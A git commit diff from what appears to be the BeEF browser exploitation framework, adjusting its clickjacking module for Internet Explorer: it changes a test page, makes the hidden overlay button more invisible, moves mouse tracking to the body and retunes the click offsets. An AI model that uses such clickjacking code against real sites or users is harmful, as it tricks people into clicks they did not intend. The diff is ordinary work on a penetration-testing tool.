Better reliability in IE
This commit is contained in:
@@ -1,9 +1,14 @@
|
||||
<html>
|
||||
<body bgcolor="red">
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />
|
||||
<title></title>
|
||||
</head>
|
||||
<body style="background-color:red">
|
||||
|
||||
<p> </p>
|
||||
<a href="#click1" onclick="javascript:alert('You clicked link1 at '+window.location);">moooooooo</a>
|
||||
<a href="#click1" onclick="javascript:alert('You clicked link1 at '+ window.location);">moooooooo</a>
|
||||
<p> </p>
|
||||
<a href="#click2" onclick="javascript:alert('You clicked link2 at '+window.location);">moooooooo</a>
|
||||
<a href="#click2" onclick="javascript:alert('You clicked link2 at '+ window.location);">moooooooo</a>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -67,7 +67,7 @@ beef.execute(function() {
|
||||
var inner = $j.extend(true, {'border':'none', 'position':'absolute', 'width':'2000px', 'height':'10000px'}, stylesInner);
|
||||
|
||||
var containerDiv = $j('<div id="' + elems.outerFrame + '"></div>').css(container).prependTo('body');
|
||||
var containerDiv = $j('<input id="' + elems.btn + '" type="button" value="invisible" style="width:1px;height:1px;opacity:0;alpha(opacity=0)" />').appendTo('body');
|
||||
var containerDiv = $j('<input id="' + elems.btn + '" type="button" value="invisible" style="width:1px;height:1px;opacity:0;alpha(opacity=0);margin-left:-200px" />').appendTo('body');
|
||||
|
||||
var innerIframe = $j('<iframe id="' + elems.innerFrame + '" scrolling="no" />').attr(params).css(inner).load(callback).prependTo('#' + elems.outerFrame);
|
||||
|
||||
@@ -80,7 +80,7 @@ beef.execute(function() {
|
||||
var btnObj = $(btnSelector);
|
||||
var outerObj = $(outerSelector);
|
||||
|
||||
$(window).mousemove(function(e) {
|
||||
$("body").mousemove(function(e) {
|
||||
$(outerObj).css('top', e.pageY);
|
||||
$(outerObj).css('left', e.pageX);
|
||||
});
|
||||
|
||||
@@ -31,12 +31,12 @@ class Clickjacking < BeEF::Core::Command
|
||||
{'name' => 'Click_1', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 1' },
|
||||
{'name' => 'clickaction_1', 'ui_label'=>'JS', 'type' => 'textarea', 'value' =>'$("#overlay1").data("overlay").close();', 'width' => '400px', 'height' => '50px'},
|
||||
{'name' => 'iFrameLeft_1', 'ui_label' => 'X-pos', 'value' => '20', 'width'=>'100px' },
|
||||
{'name' => 'iFrameTop_1', 'ui_label' => 'Y-pos', 'value' => '50', 'width'=>'100px' },
|
||||
{'name' => 'iFrameTop_1', 'ui_label' => 'Y-pos', 'value' => '55', 'width'=>'100px' },
|
||||
|
||||
{'name' => 'Click_2', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 2' },
|
||||
{'name' => 'clickaction_2', 'ui_label'=>'JS', 'type' => 'textarea', 'value' =>'$(".more-quotes").trigger("click");', 'width' => '400px', 'height' => '50px'},
|
||||
{'name' => 'iFrameLeft_2', 'ui_label' => 'X-pos', 'value' => '20', 'width'=>'100px' },
|
||||
{'name' => 'iFrameTop_2', 'ui_label' => 'Y-pos', 'value' => '123', 'width'=>'100px' },
|
||||
{'name' => 'iFrameTop_2', 'ui_label' => 'Y-pos', 'value' => '135', 'width'=>'100px' },
|
||||
|
||||
{'name' => 'Click_3', 'type' => 'label', 'html' => '~~~~~~~~~~ CLICK 3' },
|
||||
{'name' => 'clickaction_3', 'ui_label'=>'JS', 'type' => 'textarea', 'value' =>'void(0)', 'width' => '400px', 'height' => '50px'},
|
||||
|
||||
Reference in New Issue
Block a user